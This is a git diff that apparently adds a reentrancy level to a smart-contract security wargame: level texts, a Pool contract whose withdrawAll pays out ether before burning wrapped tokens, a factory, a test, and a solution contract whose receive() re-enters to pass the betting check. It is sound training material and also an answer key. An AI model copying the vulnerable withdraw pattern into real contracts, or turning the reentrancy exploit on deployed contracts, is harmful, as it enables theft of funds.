diff --git a/client/src/gamedata/authors.json b/client/src/gamedata/authors.json index 4f5795c0e..9f7f5289f 100644 --- a/client/src/gamedata/authors.json +++ b/client/src/gamedata/authors.json @@ -147,6 +147,15 @@ "websites": [ "https://www.linkedin.com/in/kstasi/" ] + }, + "clauBv23": { + "name": [ + "Claudia Barcelo" + ], + "emails": ["claudiabarcelovaldes40@gmail.com"], + "websites": [ + "https://github.com/clauBv23" + ] } } } \ No newline at end of file diff --git a/client/src/gamedata/en/descriptions/levels/reentrance_house.md b/client/src/gamedata/en/descriptions/levels/reentrance_house.md new file mode 100644 index 000000000..0134dfd96 --- /dev/null +++ b/client/src/gamedata/en/descriptions/levels/reentrance_house.md @@ -0,0 +1,5 @@ +Welcome to the Gambling World, + +This instance represents a Betting House, as a participant, you're granted 5 Pool Deposit Tokens. + +Could you master the art of strategic gambling and become a bettor? \ No newline at end of file diff --git a/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md b/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md new file mode 100644 index 000000000..b5647a849 --- /dev/null +++ b/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md @@ -0,0 +1,4 @@ +Cheers!!! You've gained a crucial lesson: never bet on seemingly harmless external calls. +Always assume that the receiver of the funds can be another contract, and letting the contracts in an inconsistent state could mess up the logic, even though the function is guarded. + +Re-entrancy has many faces and you should always be prepared for it. Don't be outbet! \ No newline at end of file diff --git a/client/src/gamedata/gamedata.json b/client/src/gamedata/gamedata.json index 3a959ec8f..02416ed3b 100644 --- a/client/src/gamedata/gamedata.json +++ b/client/src/gamedata/gamedata.json @@ -461,6 +461,21 @@ "deployId": "29", "instanceGas": 250000, "author": "AgeManning" + }, + { + "name": "Re-entrance House", + "created": "2024-01-08", + "difficulty": "6", + "description": "reentrance_house.md", + "completedDescription": "reentrance_house_completed.md", + "levelContract": "ReentranceHouseFactory.sol", + "instanceContract": "ReentranceHouse.sol", + "revealCode": true, + "deployParams": [], + "deployFunds": 0, + "deployId": "30", + "instanceGas": 5000000, + "author": "clauBv23" } ] } diff --git a/contracts/contracts/attacks/ReentranceHouseAttack.sol b/contracts/contracts/attacks/ReentranceHouseAttack.sol new file mode 100644 index 000000000..ec65de040 --- /dev/null +++ b/contracts/contracts/attacks/ReentranceHouseAttack.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "../levels/ReentranceHouse.sol"; + +contract ReentranceHouseAttack { + ReentranceHouse target; + Pool pool; + PoolToken depositToken; + + constructor(address payable target_) payable { + target = ReentranceHouse(target_); + } + + function setNeededParameters( + address payable pool_, + address depositToken_ + ) external { + pool = Pool(pool_); + depositToken = PoolToken(depositToken_); + } + + function attack() external payable { + depositToken.approve(address(pool), 5); + pool.deposit{value: 0.001 ether}(5); + pool.withdrawAll(); + } + + receive() external payable { + // approve + depositToken.approve(address(pool), 5); + pool.deposit(5); + pool.lockDeposits(); + target.makeBet(tx.origin); + } +} diff --git a/contracts/contracts/levels/ReentranceHouse.sol b/contracts/contracts/levels/ReentranceHouse.sol new file mode 100644 index 000000000..fc546c5e4 --- /dev/null +++ b/contracts/contracts/levels/ReentranceHouse.sol @@ -0,0 +1,125 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; +import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol"; +import {ReentrancyGuard} from "openzeppelin-contracts-08/security/ReentrancyGuard.sol"; + +contract ReentranceHouse { + address private pool; + uint256 private constant BET_PRICE = 20; + mapping(address => bool) private bettors; + + error InsufficientFunds(); + error FundsNotLocked(); + + constructor(address pool_) { + pool = pool_; + } + + function makeBet(address bettor_) external { + if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) + revert InsufficientFunds(); + if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked(); + bettors[bettor_] = true; + } + + function isBettor(address bettor_) external view returns (bool) { + return bettors[bettor_]; + } +} + +contract Pool is ReentrancyGuard { + address private wrappedToken; + address private depositToken; + + mapping(address => uint256) private depositedEther; + mapping(address => uint256) private depositedPDT; + mapping(address => bool) private depositsLockedMap; + + error InvalidDeposit(); + error AlreadyDeposited(); + error InsufficientAllowance(); + + constructor(address wrappedToken_, address depositToken_) { + wrappedToken = wrappedToken_; + depositToken = depositToken_; + } + + /** + * @dev Provide 10 wrapped tokens for 0.001 ether deposited and + * 1 wrapped token for 1 pool deposit token (PDT) deposited. + * The ether can only be deposited once per account. + */ + function deposit(uint256 value_) external payable { + uint256 _valueToMint; + // check to deposit ether + if (msg.value == 0.001 ether) { + if (depositedEther[msg.sender] != 0) revert AlreadyDeposited(); + depositedEther[msg.sender] += msg.value; + _valueToMint += 10; + } + // check to deposit PDT + if (value_ > 0) { + if ( + PoolToken(depositToken).allowance(msg.sender, address(this)) < + value_ + ) revert InsufficientAllowance(); + depositedPDT[msg.sender] += value_; + PoolToken(depositToken).transferFrom( + msg.sender, + address(this), + value_ + ); + _valueToMint += value_; + } + if (_valueToMint == 0) revert InvalidDeposit(); + PoolToken(wrappedToken).mint(msg.sender, _valueToMint); + } + + function withdrawAll() external nonReentrant { + // send the PDT to the user + uint256 _depositedValue = depositedPDT[msg.sender]; + if (_depositedValue > 0) { + depositedPDT[msg.sender] = 0; + PoolToken(depositToken).transfer(msg.sender, _depositedValue); + } + + // send the ether to the user + _depositedValue = depositedEther[msg.sender]; + if (_depositedValue > 0) { + depositedEther[msg.sender] = 0; + payable(msg.sender).call{value: _depositedValue}(""); + } + + PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender)); + } + + function lockDeposits() external { + depositsLockedMap[msg.sender] = true; + } + + function depositsLocked(address account_) external view returns (bool) { + return depositsLockedMap[account_]; + } + + function balanceOf(address account_) public view returns (uint256) { + return PoolToken(wrappedToken).balanceOf(account_); + } +} + +contract PoolToken is ERC20, Ownable { + constructor( + string memory name_, + string memory symbol_ + ) ERC20(name_, symbol_) Ownable() {} + + function mint(address account, uint256 amount) external onlyOwner { + _mint(account, amount); + } + + function burn(address account, uint256 amount) external onlyOwner { + _burn(account, amount); + } +} diff --git a/contracts/contracts/levels/ReentranceHouseFactory.sol b/contracts/contracts/levels/ReentranceHouseFactory.sol new file mode 100644 index 000000000..a54d2c37e --- /dev/null +++ b/contracts/contracts/levels/ReentranceHouseFactory.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./base/Level.sol"; +import "./ReentranceHouse.sol"; + +contract ReentranceHouseFactory is Level { + function createInstance( + address _player + ) public payable override returns (address) { + _player; + + PoolToken _wrappedToken = new PoolToken("PoolWrappedToken", "PWT"); + PoolToken _depositToken = new PoolToken("PoolDepositToken", "PDT"); + + Pool pool = new Pool(address(_wrappedToken), address(_depositToken)); + ReentranceHouse instance = new ReentranceHouse(address(pool)); + _depositToken.mint(_player, 5); + + // set pool as tokens owners + _wrappedToken.transferOwnership(address(pool)); + _depositToken.transferOwnership(address(pool)); + + return address(instance); + } + + function validateInstance( + address payable _instance, + address _player + ) public view override returns (bool) { + ReentranceHouse instance = ReentranceHouse(_instance); + return instance.isBettor(_player); + } + + receive() external payable {} +} diff --git a/contracts/test/levels/ReentranceHouse.test.js b/contracts/test/levels/ReentranceHouse.test.js new file mode 100644 index 000000000..da55d041b --- /dev/null +++ b/contracts/test/levels/ReentranceHouse.test.js @@ -0,0 +1,82 @@ +/*eslint no-undef: "off"*/ +const utils = require('../utils/TestUtils'); + + +const ReentranceHouse = artifacts.require('./levels/ReentranceHouse.sol'); +const ReentranceHouseFactory = artifacts.require('./levels/ReentranceHouseFactory.sol'); +const ReentranceHouseAttack = artifacts.require('./attacks/ReentranceHouseAttack.sol'); +const Pool = artifacts.require('Pool'); +const PoolToken = artifacts.require('PoolToken'); + +contract('ReentranceHouse', function (accounts) { + let ethernaut; + let level; + let instance; + let player = accounts[0]; + + let pool; + let poolDepositToken; + + + before(async function () { + ethernaut = await utils.getEthernautWithStatsProxy(); + level = await ReentranceHouseFactory.new(); + await ethernaut.registerLevel(level.address); + instance = await utils.createLevelInstance( + ethernaut, + level.address, + player, + ReentranceHouse, + { from: player } + ); + + pool = await Pool.at(await getAddressFromStorage(instance.address, 0)); + poolDepositToken = await PoolToken.at(await getAddressFromStorage(pool.address, 2)); + }); + + describe('instance', function () { + it('should not be immediately solvable', async function () { + // make sure the factory fails + const completed = await utils.submitLevelInstance( + ethernaut, + level.address, + instance.address, + player + ); + assert.isFalse(completed); + }); + + it('should not be bettor', async function () { + // turnSwitchOn() should revert on standard call from player + const isBettor = await instance.isBettor(player); + assert.isFalse(isBettor); + }); + + it('should allow the player to solve the level', async function() { + const attackerFunds = 0.01; + const attacker = await ReentranceHouseAttack.new(instance.address, { + value: web3.utils.toWei(attackerFunds.toString(), 'ether'), + }); + + await poolDepositToken.transfer(attacker.address, 5, {from: player}); + await attacker.setNeededParameters(pool.address, poolDepositToken.address); + await attacker.attack() + const completed = await utils.submitLevelInstance( + ethernaut, + level.address, + instance.address, + player + ) + + assert.isTrue(completed) + }); + + }); +}); + + +// A function to get address from storage. +let getAddressFromStorage = async function (instanceAddress, slot) { + let slotValue = await web3.eth.getStorageAt(instanceAddress, slot); + return '0x' + slotValue.slice(26); +};